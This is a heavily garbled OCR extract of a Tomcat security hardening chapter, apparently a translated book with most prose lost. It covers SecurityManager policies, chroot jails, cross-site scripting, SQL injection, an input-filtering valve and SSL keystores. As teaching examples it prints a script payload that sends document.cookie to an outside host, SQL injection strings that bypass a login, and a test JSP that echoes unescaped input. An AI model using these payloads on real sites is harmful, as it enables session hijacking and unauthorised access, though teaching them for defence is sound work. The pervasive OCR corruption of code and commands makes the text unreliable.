Tomcat

Tomcat
20 90
eBay.com Dell
container servliet JSP Tomcat
Tomcat
Tomcat
Apache httpd  Tomcat
Tomcat Securi t yManager
Tomcat

Tomcat

Web
Tomcat
Tomcat
chroot
Tomcat

141



142

Valve Tomcat Web SSL
HTTPS Web

OpenBSD

http://www.securityfocus.com
SecurityFocus
BugTraq

http://www.sans.org/topten.htm http://www.sans.org/top20/top10.php 1
SANS

Tomcat 8005
$CATALINA_HOME/conf/server.xml
80 Tomcat root

1 2001 10 1
PDF
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httpd Web

# Tontat

#

block in on $ext_if proto tcp fromany port 8005 to any
bl ock in on $ext_if proto tcp fromany port 8009 to any

Apache

allowin on $ext_if proto tcp fromaws_nachine port 8009 to this_machine

server.xml Tomcat

Unix
netstat -a socket
socket e
Apache httpd Web Tomcat
Apache Tomcat
Tomcat .htaccess Apache
httpd IIS Internet Information Server Internet Web
WEB-INF  META-INF
WEB-INF  META-INF
Web
Apache httpd WEB-INF  META-INF httpd.conf

<Locati onhvatch "/WEB- | NF/ ">
Al l owOverri de None
deny fromall
</ Locat i oniat ch>
<LocationMatch "/ NMETA-I NF/ ">
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Al | owOverri de None
deny from al
</ Locat i onMat ch>

Tomcat .htaccess
Tomcat 4 servlet-mapping $CATALINA_HOME/
conf/Web.xml servl et - mappi ng

<servl et - nappi ng>
<servl et - nane>i nvoker </ ser vl et - nane>
<url -pattern>*. htaccess</url -pattern>
</ servl et - mappi ng>

Web .htaccess invoker servlet
invoker servlet “ HTTP 404: Not Found”
Tomcat .htaccess

invoker servlet

Tomcat .htaccess
servlet
Jason Hunter Java Servlet Programming
O'Reilly
-security
Java 2
Securi t yManager Java JVM
applet
applet “
" servlet JSP
Tomcat
Tomcat catalina.policy Java
-security Tomcat JVM

codebase Java

/1 .
grant codebase LI ST {
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per m ssi on PERM
per m ssi on PERM

6-1 JAVA HOVE CATALI NA_ HOVE
${j ava. home} ${catal i na. horme} URL
/1 j avac

grant codeBase "file: ${java. home}/lib/-" {
perm ssion java.security. Al Pernission;

h
.o .o “  ${java.home}/lib ?
Java j avac JSP ${j ava. hone} lib
JVM
catalina.policy
Cont ext
servlet
servlet ISP servlet

servlet /home/somecompany/Webapps/  Cont ext

grant codeBase "fil e:/home/ soneconpany/ Webapps/-" {
perm ssi on java. net. Socket Per m ssi on

"dbhost . soneconpany. com 5432", "connect";
}
6-1
6-1
java
Sun
java.io. Fil ePerm ssion / /
j ava. | ang. Runt i nePer m ssi on System/Runtime exit()
exec()
java.lang.reflect. /

Ref | ect Per m ssi on

j ava. net . Net Per m ssi on
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6-1

java
Sun

j ava. net . Socket Per ni ssi on socket

java. security. Al'l Perm ssi on

java. security. SecurityPerm ssi on Security
java. util.PropertyPerm ssion Java j ava. home
or g. apache. nam ng. Jndi Per m ssi on JINDI

Web Securi t yManager

Tomcat Web
Web Secur i t yManager Web
6-1 H t pServl et
6-1 serviet

package comoreilly.tontat.servlets;

import java.io.*;
i nport javax.servlet.*;

public class WiteFileServlet extends GenericServlet {

public void service(Servl et Request request, Servl et Response response)
throws | OException, ServletException

{
/1
String catalinaHome = "/usr/local/jakarta-tontat-4.1.24";
File testFile = new Fil e(catal i naHone +
"/ Webapps/ ROOT", "test.txt");
Fil eCutput Stream fil eQut put Stream = new Fil eQut put Strean(testFile);
fileQutputStreamwite(new String("testing...").getBytes());
fileQutputStream cl ose();
/1
PrintWiter out = response.getWiter();
out.println("File created successfully!");
}



Tomcat 147

ROOT Web servlet

# nkdir $CATALI NA_HOVE/ Webapps/ ROOT/ VEEB- | NF/ cl asses

# javac -classpath $CATALI NA_HOME/ conmon/ | i b/ servlet.jar
-d $CATALI NA_HOVE/ Webapps/ ROOT/ VEB- | NF/ cl asses WiteFileServlet.java

ROOT Web WEB-INF/Web.xml serviet servlet
servl et - nappi ng 6-2

6-2 WriteFileServiet
<?xm version="1.0" encodi ng="| SO 8859- 1" ?>

<! DOCTYPE Weéb- app
PUBLIC "-//Sun M crosystens, Inc.//DTD Wb Application 2.3//EN'
“http://java. sun. conf dt d/ Wb-app_2_3. dtd">

<Web- app>
<di spl ay- name>Wel cone to Tontat </ di spl ay- nane>
<descri ption>
¢l cone to Tonctat
</ descri ption>

<servl et>
<servl et-nane>writefil e</servlet-nanme>
<servl et-cl ass>
comoreilly.toncat.servlets. WiteFileServlet
</ servl et-class>
</ servlet>

<ser vl et - mappi ng>
<servl et-nane>writefil e</servlet-name>
<url-pattern>witefile</url-pattern>
</ servl et - mappi ng>

</ \\b- app>
Securit yManager Tomcat URL http://localhost: 8080 /
writefile catalina.policy Web
6-1 AccessCont r ol Excepti on
ROOT catalina.policy
Tomcat

grant codeBase "file: ${catalina. hone}/Wbapps/ ROOT/ -" {
perm ssion java.io. FilePerm ssion
"${catal i na. hone}/ Webapps/ ROOT/ test.txt", "read,wite,delete";

}s
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Web
Web
WiteFileServlet

grant codeBase "file:${catalina. hone}/Wbapps/ ROOI/ WEB- | NF/ cl asses/ conl
oreilly/toncat/servlets/WiteFileServlet.class" {
perm ssion java.io. FilePerm ssion
"${catal i na. hore}/ Webapps/ ROOT/ test. txt", "wite";

H
WiteFileServle test.txt Web
servlet WiteFil eServl et e
http://java.sun.com/j2se/1.4.1/docs/guide/security/per missions.html Sun
Java

SecurityManager
catalina.policy
Tomcat Java
-D ava. security. debug="access, failure"

“ denied”
stack trace Pr ot ect i onDomai n

Tomcat chroot

Unix Unix

chr oot /
Linux Solaris *BSD

chr oot
chroot <new root path> <command to run> <argument (s)>

/ /some/new/r oot hell o /bin/echo

chroot /sone/ new root /bin/echo hello
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/bin/echo
chroot /some/new/r oot/bin/echo /bin/echo
/some/new/r oot /bin/echo
/dev “ " /dev
chroot jail
chr oot
chroot
chr oot
chr oot
chr oot
Tomcat Securi t yManager
Securi t yManager Tomcat
Tomcat chroot
Java chr oot Tomcat chroot
Tomcat SecurityManager
chr oot
chroot
Tomcat chroot
. Tomcat root root
chroot ()
. Tomcat RPM Tomcat

Tomcat init script
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chroot
r oot

# nkdir /usr/local/chroot

Tomcat
/lib Jetc /tmp

2. chroot

lib
# cd /usr/local/chroot
# nkdir lib etc tnp dev usr

# chnod 755 etc dev usr
# chnod 1777 tnp

3. /etc/hosts chr oot letc

# cp -p /etc/hosts etc/hosts

4. JDK  Java
chr oot
1.3.x
shell
chr oot
chroot 1.4

chr oot shell

java

Unix
/dev
fusr/lib

Java Runtime Environment JRE 1.4

JDK
$JAVA_HOME/bin
Java
/bin/sh shell
shell

chr oot shell  perl

chr oot

5. Tomcat chr oot
chr oot

nkdir -p usr/local
chnod 755 usr/1 ocal
cd usr/ I ocal

gunzip jakarta-tontat-4.1.24.tar.gz
tar xvf jakarta-tontat-4.1.24.tar.gz

6. | dd

HHHHHH

Java

cp ~jasonb/jakarta-tontat-4.1.24.tar.gz .

chr oot
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/lib lib Java

# 1dd /usr/local/chroot/usr/local/j2sdkl.4.0 _01/bin/java
l'i bpthread.so.0 => /1ib/libpthread.so.0 (0x40030000)
libdl.so0.2 => /lib/libdl.so.2 (0x40047000)
libc.so.6 =>/lib/libc.so.6 (0x4004b000)
/[lib/ld-linux.so.2 => /lib/ld-1inux.so.2 (0x40000000)
cd /usr/local/chroot/lib
cp -p /lib/libpthread.so.0 .
cp -p /lib/libdl.so.2 .
cp -p /lib/libc.so.6 .
cp -p /lib/ld-linux.so.2 .
cd /usr/ | ocal/chroot
chroot /usr/local/chroot /usr/local/j2sdkl.4.0_01/bin/java -version
java version "1.4.0_01"
Java(TM 2 Runtinme Environnent, Standard Edition (build 1.4.0_01-b03)
Java Hot Spot (TM dient VM (build 1.4.0_01-b03, m xed node)

HOHH R HHH

7. Tomcat init
—— init shell chr oot chr oot
shell
8. init Tomcat Tomcat startup.sh
shutdown.sh  catalina.sh chr oot shell
script java Tomcat
Tomcat fs

catalina.sh script
Tomcat

1. catalina.sh script

# cd /usr/local/chroot/usr/local/jakarta-toncat-4.1.24/bin
# cp -p catalina.sh catalina-echo.sh

2. Tomcat java e
java java
/bin/echo
elif [ "$1" = "start" ] ; then
shift
touch "$CATALI NA BASE'/ I ogs/ cat al i na. out
if [ "$1" = "-security" ] ; then
echo "Using Security Manager"
shift

/bi n/ echo "$_RUNJAVA" $JAVA OPTS $CATALI NA OPTS \
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SecurityManager Tomcat
catalina.sh start -security java
Seuri tyManager java SecurityManager
3. chr oot Tomcat

JAVA HOVE=/ usr /1 ocal / chroot/usr/l ocal /j2sdkl. 4. 0_01

export JAVA HOVE

CATALI NA_HOME=/ usr/ 1 ocal / chroot/usr/local /jakarta-tontat-4.1.24
export CATALI NA_HOVE

cd /usr/local/chroot/usr/local/jakarta-tontat-4.1.24/bin
./catalina-echo.sh start -security

HoH R R HH

Securi t yManager Tomcat -security

Tomcat catalina.out

# cat /usr/local/chroot/usr/local/jakarta-tontat-4.1.24/1ogs/catalina.out
/usr/local/chroot/usr/local/j2sdkl.4.0_01/bin/java -0 ava. endorsed.dirs
=/usr/local /chroot/usr/local/jakarta-toncat-4.1.24/bin:/usr/local/chroot/
usr/l ocal / j akarta-tontat - 4. 1. 24/ conmon/ endor sed -cl asspath /usr/| ocal /
chroot/usr/local/j2sdkl.4.0_01/1ib/tools.jar:/usr/local/chroot/usr/local/
jakarta-tontat-4. 1. 24/ bi n/ bootstrap. jar -0 ava. security. nanager

-Dj ava. security. policy==/usr/local/chroot/usr/local/jakarta-tontat-4.1.24/
conf/catalina.policy -Dcatalina. base=/usr/local/chroot/usr/|ocal/
jakarta-tontat-4.1.24 -Dcatalina. hone=/usr/|ocal/chroot/usr/local/
jakarta-tontat-4.1.24 -Djava.io.tnpdir=/usr/local/chroot/usr/local/
jakarta-tontat-4.1.24/tenp org. apache. catalina.startup.Bootstrap start

4, tomcat4 init 6-3

6-3 Tomcat chroot

#!'/bin/ sh

# Li nux Tontat init script

#

# chkconfig: 345 63 37

# Li nux Tontat

#

case "$1" in

start)

/usr/sbin/chroot /usr/local/chroot \
lusr/local/j2sdkl.4.0_01/bin/java -D ava. endorsed. di rs=/usr/| ocal /

jakarta-tontat-4.1.24/bin:/usr/local/jakarta-tontat-4.1.24/ comon/

endorsed -classpath /usr/local/j2sdkl.4.0_01/lib/tools.jar:/usr/local/

j akarta-tontat-4. 1. 24/ bi n/ boot strap. jar -Dj ava. security. manager

-D ava. security. policy==/usr/local/jakarta-tontat-4.1.24/conf/

catal i na.policy -Dcatalina.base=/usr/local/jakarta-toncat-4.1.24

- Dcat al i na. hone=/usr/local /jakarta-tontat-4.1.24 -0 ava.io. tnpdir=/usr/

| ocal /jakarta-tontat-4.1.24/tenp org. apache. catalina.startup. Bootstrap start \
>> [usr/local /chroot/usr/local/jakarta-tontat-4.1.24/1o0gs/
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catalina.out 2>&1 &
st op)
[ usr/sbin/chroot /usr/local/chroot \
/usr/local/j2sdkl.4.0_01/bin/java -0 ava. endor sed. di rs=/usr/ | ocal
/jakarta-toncat-4.1. 24/ bin:/usr/local/
j akarta-tontat-4. 1. 24/ common/ endor sed -cl asspath /usr/| ocal /j2sdkl.4.0_01/
lib/tools.jar:/usr/local/jakarta-tontat-4.1.24/bin/bootstrap.jar
-D ava. security. manager -Djava.security.policy==/usr/local/
jakarta-tontat-4.1.24/conf/catalina.policy -Dcatalina.base=/usr/| ocal
/jakarta-tontat-4.1.24 -Dcatalina. home=/usr/local/jakarta-tontat-4.1.24
-D ava.io.tnpdir=/usr/local/jakarta-tontat-4.1.24/
tenp org. apache. catalina.startup.Bootstrap stop \
>> [usr/local/chroot/usr/local/jakarta-tontat-4.1.24/1o0gs/
catal i na. out 2>&1 &

[

*
)
echo "Usage: tontat4 {start|stop}"
exit 1
esac
Java Java
lusr/local/chroot stop start stop
start
5. Linux letc/rc.d/init.d  Solaris /etc/init.d
# cp tontat4 /etc/rc.d/init.d/
# chnod 755 /etc/rc.d/init.d/tontat4
6. chroot Tomcat

# letc/rc.d/init.d/tontat4 start

Tomcat chr oot
catalina.out

Error: failed /usr/local/j2sdkl.4.0_01/jre/lib/i386/client/libjvm so,
because |ibnsl.so.1: cannot open shared object file: No such file or directory

chr oot lib/ Tomcat

# cp -p /lib/libnsl.so.1 /usr/local/chroot/lib/
# letc/rc.d/init.d/tontat4 start

chroot
Tomcat
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| dd
Tomcat chr oot r oot Tomcat
r oot —_— r oot
Tomcat
chroot root
BSD FreeBSD NetBSD OpenBSD chr oot
r oot *BSD chr oot
chroot [-u user] [-Uuser] [-g group] [-G group, group,...] new oot [comrand]
BSD chr oot
Tomcat / Linux Solaris chroot
OpenBSD chr oot Linux
Solaris j bchr oot
chr oot
j bchr oot
j bchr oot
1.
2. GCC GCC
# gcc -O jbchroot.c -0 jbchroot
3. j bchr oot Unix /usr/local/bin

chr oot

# cp jbchroot /usr/local/bin/

# 1s -la “which chroot”

- T VXT - XT - X 1 root r oot 5920 Jan 16 2001 /usr/sbin/chroot
# chnod 755 /usr/ | ocal / bin/jbchroot

# chown root /usr/local/bin/jbchroot

# chgrp root /usr/local/bin/jbchroot
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Tomcat r oot /
/ Tomcat
login shell /dev/null
Tomcat

# letc/rc.d/init.d/tontat4 stop

tomcat4 init j bchr oot chr oot
/
#!/bi n/ sh
# Li nux Tontat init
#
# chkconfig: 345 63 37
# Li nux Tontat
#
case "$1" in
start)
/usr/local/chroot/jbchroot -U tontat -- /usr/local/chroot \

/usr/local /j2sdkl. 4.0_01/bin/java -0 ava. endor sed. di rs=/ usr/| ocal

/jakarta-toncat-4.1.24/bin:/usr/local /jakarta-tontat-4. 1. 24/ comon/
endorsed -classpath /usr/local/j2sdkl.4.0 01/lib/tools.jar:/usr/local/
j akarta-tontat-4. 1. 24/ bi n/ boot strap. j ar -0 ava. security. manager
-D ava. security. pol i cy==/usr/| ocal /j akart a-t onctat - 4. 1. 24/ conf /
catalina.policy -Dcatal i na. base=/usr/local /jakarta-tontat-4.1.24
-Dcat al i na. home=/usr/l ocal / jakarta-tontat-4.1.24 -0 ava.io.tnpdir=/usr/local /
jakarta-tontat-4.1.24/tenp org. apache. catalina.startup. Bootstrap start \

>> [usr/local /chroot/usr/local /jakarta-tontat-4. 1. 24/1 0ogs/ catal i na. out 2>&1 &

st op)

/usr/local/chroot/jbchroot -U tontat -- /usr/local/chroot \

/usr/local/j2sdkl. 4.0_01/bin/java -0 ava. endor sed. di rs=/usr/| ocal /
jakarta-toncat-4.1.24/bin:/usr/local/jakarta-tontat-4. 1. 24/ comron/ endor sed
-classpath /usr/local/j2sdkl.4.0_01/lib/tools.jar:/usr/local/jakarta-tontat
-4.1.24/bin/bootstrap.jar -0 ava.security.manager -0 ava.security. policy==
usr/local /jakarta-toncat-4. 1. 24/ conf/catalina. policy -Dcatalina. base=/usr/
| ocal /j akarta-tontat-4.1.24 -Dcatal i na. home=/usr/| ocal / j akart a-t ontat
-4.1.24 -Diava.io.tnpdir=/usr/local /jakarta-tontat-4.1. 24/
tenp org. apache. catal i na. startup. Bootstrap stop \

>> [usr/local /chroot/usr/local /jakarta-tontat-4. 1. 24/1 ogs/ catal i na. out 2>8&1 &

*
)
echo "Usage: tontat4 {start|stop}"
exit 1
esac
Tomcat r oot Tomcat
Tomcat

Tomcat Tomcat /logs tmp/
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wor k/ Webapp/ Conf/ Tomcat
User Dat abaseReal m conf/tomcat-users.xml
Admin Web conf/server.xml conf/

# cd /usr/local/chroot/usr/local/jakarta-tontat-4.1.24
# chnod 755 .
# chown -R tontat |ogs/ tenp/ Wbapps/ work/ conf/

8. Tomcat — r oot
80 $CATALINA_HOME/conf /server.xml
Tomcat 1023
9. Tomcat

# letc/rc.d/init.d/tontat4 start

10.
/ Tomcat
Tomcat chr oot
Tomcat JVM
Tomcat
Tomcat chr oot
Tomcat chr oot
—_— chr oot
Tomcat Tomcat
Tomcat Tomcat
Tomcat Tomcat
Web Tomcat Tomcat
Web
Web
Web
Web Tomcat
Web
Tomcat Tomcat

Tomcat Web
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Tomcat chroot
Tomcat Web
Web
Tomcat Web
Web
Web
Web
Tomcat
Web
Tomcat Web
Cross-site scripting
Web Cross-
site scripting XSS 1
Web
Tomcat Web
XSS JavaScript VBScript
Web XSS XSS
cookie cookie
HTTP session
hijacking
1 CSS “ cross’ C
Three Letter Acronym TLA Cascading Style
Sheet Web XSS Cross-

site scripting
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XSS Tomcat
www.example.com

escape “ foo”
“ foo” “ foo”
“ Could not find any documents including 'foo

<b>f oo</ b>

Coul d not find any docunents including 'foo'

HTML

<script |anguage='javascript' >al ert(docunent. cookie)</script>

HTML
HTTP cookie cookie
. Web XSS
. JavaScript
o cookie cookie

JavaScript cookie
WWW.gr oovywings.com
cookie JavaScript cookie

<script |anguage="javascri pt">docunent. | ocati on="http://ww gr oovyw gs. con f 00"
+ docunent . cooki e</ scri pt >
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JavaScript

WWW.Jr oovywigs.com

cookie

URL

htt p: / / wwv. exanpl e. cont sear ch?quer y=f oo

cookie URL

http://ww. exanpl e. conl sear ch?quer y=<scri pt | anguage="j avascri pt">
docurnent . | ocati on="http://ww. groovywi gs. corm foo" + docunent. cooki e</scri pt>

URL

URL

ht t p: / / waw exanpl e. cond sear ch?quer y=98Cscr i pt + anguage¥8D¥22j avascri pt ¥22%8Edocunent .
| ocati on%3D¥22ht t p¥BAYRFY2Fwww. gr oovywi gs. con?2Ff oo%22+%@2B+docunent .

cooki e¥BCY2Fscri pt 9BE

URL URL URL
“ javascript” *“ docurent. cookie” URL
XSS URL
XSS URL
Email —
Email

www.example.com

WwWw.groovywigs.com Web
cookie
cookie

www.example.com
WWW.Qr 0ovVywigs.com

cookie

XSS
www.example.com
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XSS
Web
XSS
XSS XSS Web Web
Java
Tomcat
. Tomcat HTTP Badl nput Fi | t er Val ve
Valve Web GET PCsT
escape XSS
. Tomcat Val ve
Badl nput Fi | t er Val ve
. XSS
GET POST HTTP
cookie URL URL
. Web XSS
D HTTPS CLIENT-CERT HTTP cookie
cookie
XSS
100% XSS
HTML HTML injection
HTML HTML
JavaScript VBScript — XSS
HTML

“ HTML HTML insertion ”




Web

HTML " "
HTML
HTTP
XSS
URL
XSS Web
XSS <script>
HTML
Tomcat
Tomcat HTTP
Val ve
Tomcat Val ve
< >
GET POST HTTP
URL URL
HTML

HTML

HTML

HTML

HTTP GET
Email
URL
hr ef HTML
HTML
HTML
XSS

Badl nput Fi l ter-

Badl nput Fi | t er Val ve

&t; é&gt;

cookie

Web

XSS
XSS
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SQL SQL injection

XSS HTML SQL SQL

SQL Web
HTTP SQL
SQL
SQL
“ SQL " (SQL insertion)
Java Java JDBC
Pr epar edSt at enent Web JDBC Pr epar edSt at enent
SQL Pr epar edSt at enent
SQL
Web SQL Java JDBC
Java PreparedSt at erent

SQL SQL Web

SQL Web Java JDBC St at enent

Pr epar edSt at enent

SQL

usernane password Web

/1 St at enent

St at ement st at enent

connecti on. createStatenent();

/1 SQL
I/ username password
String queryString = "select * from USER _TABLE where USERNAME='"

username + "' and PASSWORD='" + password + "'

/1 SQL
Resul t Set resul tSet = statenent.executeQuery(queryString);

/1

jasonb”
queryString

guessme”

sel ect * from USER _TABLE where USERNAME='j asonb' and PASSWORD=' guessne';
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user name password queryString

queryString

queryString

User narme: jasonb
Password: ' or '1'="1

queryString

sel ect * from USER TABLE where USERNAME='j asonb' and PASSWORD='' or '1'='1';

j asonb
"1 "l USER TABLE
Web
queryString SQL
queryString
queryString Pr epar edSt at enent
SQL e SQL
SQL SQL
Web MySQL MySQL
#
Usernane: jasonb';#
Passwor d: anyt hi ng
queryString
sel ect * from USER TABLE where USERNAME='j asonb';# and PASSWORD=' anyt hi ng' ;
# USERNAME=
'jasonb’

- #
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SQL
Tomcat

Tomcat
o Tomcat

Val ve
o Tomcat Val ve

St at ement

Badl nput Fi | t er Val ve
&quot ; GET POST

cookie

command injection

Web
Web
Web
Tomcat
. Tomcat HTTP

HTTP

URL

URI

Web

CGl Servlet

stored procedure
Tomcat

Badl nputFil ter-

Pr epar ed-
&#39;
HTTP
Web
shell
Web

Badl nput Fi | t er Val ve
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. Tomcat Val ve
Badl nput Fi | t er Val ve
. “0~9 A~Z a~z @_:"
GET POST HTTP
cookie URL URI
HTTP
JSP
Web 6-4 input_test.jsp
JSP
6-4 input_testjsp JSP
<htnl >
<head>
<title>Testing for Bad User Input</title>
</ head>
<body>

Use the below forns to expose a Cross-Site Scripting (XSS) or
HTM. i njection vulnerability, or to denonstrate SQ injection or

comrand injection vulnerabilities

<br ><br >
<l-- GET -->
<t abl e border="1">
<tr>
<t d>
Enter your search query (nethod="get")
<f orm met hod="get ">
<input type="text" name="queryStringl" w dth="20"
val ue="<% request. get Paraneter ("queryStringl") %"
>
<i nput type="hi dden" nane="hi ddenl" val ue="hi ddenVal uel">
<input type="subnmit" name="subnitl" val ue="Search">
</fornvp
</td>
<t d>
queryStringl = <% request.getParaneter("queryStringl") %-<br>
hi dden1 <% request . get Paraneter ("hi ddenl") %-<br>
submitl <% request.get Parameter("submt1") %<br>
</td>
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</tr>
</ tabl e>
<l-- CET -->

<br >

<I-- POST -->
<t abl e border="1">
<tr>
<t d>
Enter your search query (method="post"):

<f or m net hod="post" >
<input type="text" name="queryString2" w dth="20"
val ue="<% request . get Paranet er ("queryStri ng2") %"
>
<i nput type="hi dden" nanme="hi dden2" val ue="hi ddenVal ue2">
<i nput type="submt" nanme="subm t2" val ue="Search">

</forne
</td>
<t d>
queryString2 = <% request.getParaneter("queryString2") %-<br>
hi dden2 = <% request . get Paranet er (" hi dden2") %<br>
submt2 = <% request. get Paraneter ("submt2") %-<br>
</td>
</tr>
</t abl e>
<I-- POST -->
<br >
<l-- POST -->
<t abl e border="1">
<tr>
<td w dt h="50% >
<%//
String usernanme = request. get Paraneter("usernane");
if (username != null) {

/1
bool ean validChars = true;
char[] usernaneChars = usernane.toCharArray();
for (int i =0; i < usernane.length(); i++) {
if (!Character.islLetterOrD git(usernameChars[i])) {
validChars = fal se;
br eak;
}
}
if (!validChars) {
out.wite("<font col or=\"red\"><b><i>");
out.wite("Usernanme contained invalid characters. ");
out.wite("Please use only A-Z, a-z, and 0-9.");
out.write("</i></b></font><br>");
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/1

else if (username.length() < 3 || usernane.length() > 9) {
out.wite("<font col or=\"red\"><b><i>");
out.wite("Bad usernane | ength. Mist be 3-9 chars.");
out.wite("</i></b></font><br>");

}
/1
el se {
out.wite("<center><i>\n");
out.wite("Qurrently logged in as <b>" + username + "\n");
out.wite("</b>\n");
out.wite("</i></center>\n");
}

}
%

Enter your usernane [3-9 al phanuneric characters]. (nethod="post"):

<f orm et hod="post " >
<input type="text" nanme="usernane" w dth="20"
val ue="<% request. get Par amet er (" user nane") %"
>
<i nput type="hi dden" name="hi dden3" val ue="hi ddenVal ue3">
<i nput type="submit" nanme="subnit3" val ue="Submt">
</fornp
</td>
<t d>
username = <% request. get Paranet er ("usernane") %<br>
hi dden3 = <% request . get Paranet er ("hi dden3") %<br>
submit3 = <% request.get Parameter("subm t3") %<br>
</td>
</[tr>
</ tabl e>

<l-- POST -->

</ body>
</htm >

input_test.jsp ROOT
# cp input_test.jsp $CATALI NA_HOVE/ webapps/ ROOT/

http://localhost: 8080/input_test.jsp 6-3

HTTP GET HTTP POST

nul |
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ENi BN w8 Bosimaks TRk MEekes  HEp
"&t - r:&m = Ea“ E.-I-F [ rpsnacanoit arEop_kilag jﬂ m -

AhHamn gl Bohmany

1l the Sedow forme bo axposs & O Site Scripting (055 or HTMIL tnjaction woinerstdlity, or b demornetr s
EQL Inpokionor commend Injpstion valnenabililes.

queEry2ringl = eull

E-nber pour saarch qoery [method =" pei "k k
I'_M hidden] = null
wll ﬂl auhiednd = mull

E:filser pcdis i itch poery) [ eethsd =" poal™) FETVCTING: = ol

il dand = el
= Seum | woh i = mall
|[Enter ol LT [2-0 alphadimer o chaacters]. armimne = ol
| mmethied= “poet™ Todden = muil
Fll Tubmit | Ab@Ead = null

e A of TR o | Daee

6-3 input_test.jsp
. <script | anguage="j avascri pt">al ert (docunent. cooki e) </ scri pt >
XSS cookie
. <iframe src=http://jakarta.apache. org></iframe>
HTML
. "><j nput type="hi dden" name="hi dden3" val ue="Sonet hi ngH se" >
foo
hi dden3 Sonet hi ngE se
o jasonb’ OR''= user nane
SQL

Web
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Tomcat Val ve

Tomcat Val ve Tomcat
Web
Val ve Web Tomcat servlet container
Val ve Tomcat
Val ve Web Web —_—

Badl nput Fi | ter Val ve. j ava

BadFi | t er Val ve

XSS HTML SQL Badl nput Fi | t er Val ve
6-2 server.xml Badl nput -
FilterVal ve

6-2 BadlnputFilterValve

cl assNanme Val ve Java comoreilly.toncat.
val ves. Badl nput Fi | t er Val ve

debug 0
0
escapeQuot es Val ve
true
escapeAngl eBr acket s Val ve
true
escapeJavaScri pt Val ve JavaScript
true
al | ow Val ve

deny Val ve
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Val ve CATALI NA_HOVE $CATALINA _
HOME/server/classes

# export CATALI NA HOVE=/usr/l ocal /jakarta-tontat-4.1.24
# nkdir -p $CATALI NA_HOME/ server/ cl asses/ conforeilly/tontat/val ves

# cd $CATALI NA HOVE/ server/ cl asses

# javac -cl asspath $CATALI NA HOVE/ server/|ib/catalina.jar: $CATALI NA HOVE/
common/ | i b/ servlet.jar: $CATALI NA HOVE/ server/lib/jakarta-regexp-1.2.jar -d
$CATALI NA_HOVE/ server/cl asses conmoreilly/tontat/val ves/

Badl nput Fi | ter Val ve. j ava

Tomcat

# rmconforeilly/tontat/val ves/ Badl nput Fi |l terVal ve. java

server.xml Val ve $CATALINA_HOME/conf/server.xml
Cont ext
<Cont ext path="" docBase="ROOI" debug="0"> <Val ve
cl assName="comoreilly.tontat. val ves. Badl nput Fi | t er Val ve"

deny="\x00, \ x04, \ x08, \ x0a, \ x0d"/ >
</ Cont ext >

Tomcat

# letc/rc.d/init.d/tontat4 stop
# letc/rc.d/init.d/tontat4 start

Tomcat catalina.out

ServerLi f ecycl eLi stener: createMBeans: MBeanException
java. |l ang. Exception: ManagedBean is not found with BadlnputFilterValve

ServerLi f ecycl eLi stener: destroyMBeans: Throwabl e

j avax. managemnent . | nst anceNot FoundExcepti on: MBeanServer cannot find MBean
wi th Obj ect Nane Catal i na:type=Val ve, sequence=5461717, pat h=/,

host =l ocal host, servi ce=Tontat - St andal one

Val ve JIMX

Badl nput Fi | t er Val ve input_test.jsp XSS
HTML SQL



172

http://www.owasp.org/asac/input_validation
http: //www.cgisecurity.com

Cross-site scripting XSS

http://www.cert.org/advisories/CA-2000-02.html
http://www.idefense.com/idpaper s/ XSS.pdf
http://www.cgisecurity.com/articles/xss-faq.shtml

http://www.ibm.com/devel operworks/security/library/s-csscript/?dwzone= security
http://archives.neohapsis.com/ar chives/vulnwatch/2002-g4/0003.html
http://www.owasp.org/asac/input_validation/css.shtml
http://httpd.apache.org/info/css-security/

http://apache.slashdot.org/article.pl ?sid=02/10/02/1454209& mode=thread& tid=128

HTML

SQL

http://www.securityps.com/r esour ces/webappsec_overview/img18.html

http: //www.securiteam.com/securityreviews/5SDPON1P76E.html
http://www.owasp.org/asac/input_validation/sql.shtml

http://www.owasp.org/asac/input_validation/os.shtml
Path traversal

http://www.owasp.org/asac/input_validation/pt.shtml

M etacharacter
http://www.owasp.org/asac/input_validation/nulls.shtml
http://www.owasp.org/asac/input_validation/meta.shtml

Web
http://www.owasp.org

SSL Tomcat
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" Certificate Authority CA

mod_jk2 Apache httpd
Tomcat Tomcat SSL Web Apache httpd
Tomcat servliet JSP
Apache httpd
Java keyt ool JDK
J2SE SDK OpenSSL http://www.openss|.org
OpenSSL Apache httpd Web OpenSSH shell
1. Tomcat RSA

# keytool -genkey -alias tontat -keyalg RSA

2. CSR csr

# nkdir -p -mgo= /etc/ssl/private
# keytool -certreq -keyalg RSA -alias tontat -file /etc/ssl/private/certreq.csr

3. CA

# keytool -inport -keystore $JAVA HOME/jrel/lib/security/cacerts -alias
CA NAME -trustcacerts -file /etc/ssl/THEIR CA CERT_FILE
# keytool -inport -alias tontat -trustcacerts -file /etc/ssl/YOUR NEWCERT_FI LE

# keytool -selfcert -alias tontat
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5. CA CA

# keytool -inport -keystore $JAVA HOME/jre/lib/security/cacerts -alias

Tomcat
$CATALI NA HOVE S$CATALI NA BASE Tomcat

keyt ool

$ keytool -genkey -alias tontat -keyalg RSA
Enter keystore password: secrit
What is your first and | ast nanme?
[Unknown]: lan Darwin
What is the name of your organizational unit?
[ Unknown]: Covert Operations
What is the name of your organization?
[ Unknown]: Darwin Open Systens
What is the name of your Gty or Locality?
[ Unknown] :  Pal grave
What is the name of your State or Province?
[ Unknown]: Ontario
What is the two-letter country code for this unit?
[ Unknown]: ca
I's <CN=lan Darwi n, OU=Darwi n Open Systens, O=Darwi n Qpen Systens,
L=Pal grave, ST=Ontario, C=ca> correct?
[no]: vyes
Enter key password for <tontat>
(RETURN i f sane as keystore password): secrit
#1s -1 $HOWE . keystore
-rwr--r-- 1 ian wheel 1407 Jun 21 16:01 /hone/ian/. keystore
# keytool -selfcert -alias tontat
Enter keystore password: secrit
# keytool -1list
Enter keystore password: secrit

Keystore type: jks
Keyst ore provider: SUN

Your keystore contains 1 entry:

tontat, Fri Jun 21 20:38:36 EDT 2002, keyEntry,
Certificate fingerprint (MXB): 6A E5: Al: 2C 5B: 5E: A2: 3B: 67: 17: 6B: 2F: 18: BC. DC. 1D

6-4
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g

6-4
Tomcat SSL
Tomcat SSL server.xml
SSL
JDK 1.4 Java Secure Sockets Extension JSSE
JAR $IAVA_HOME/jreflib/ext SUN
http://java.sun.com/products/jsse JSSE
JAVA_ HOME zip JSSE JAR

# jar xf jsse-1_0_3_01-do.zip
# cp jssel.0.3_01/1ib/* $IAVA HOWE jrel/li b/ ext

JAR JDK  lib/ext
JSSE_HOME

Tomcat 4.0 HTTPS

<l-- 8443 SSL HTTP/ 1.1 -->

<l--

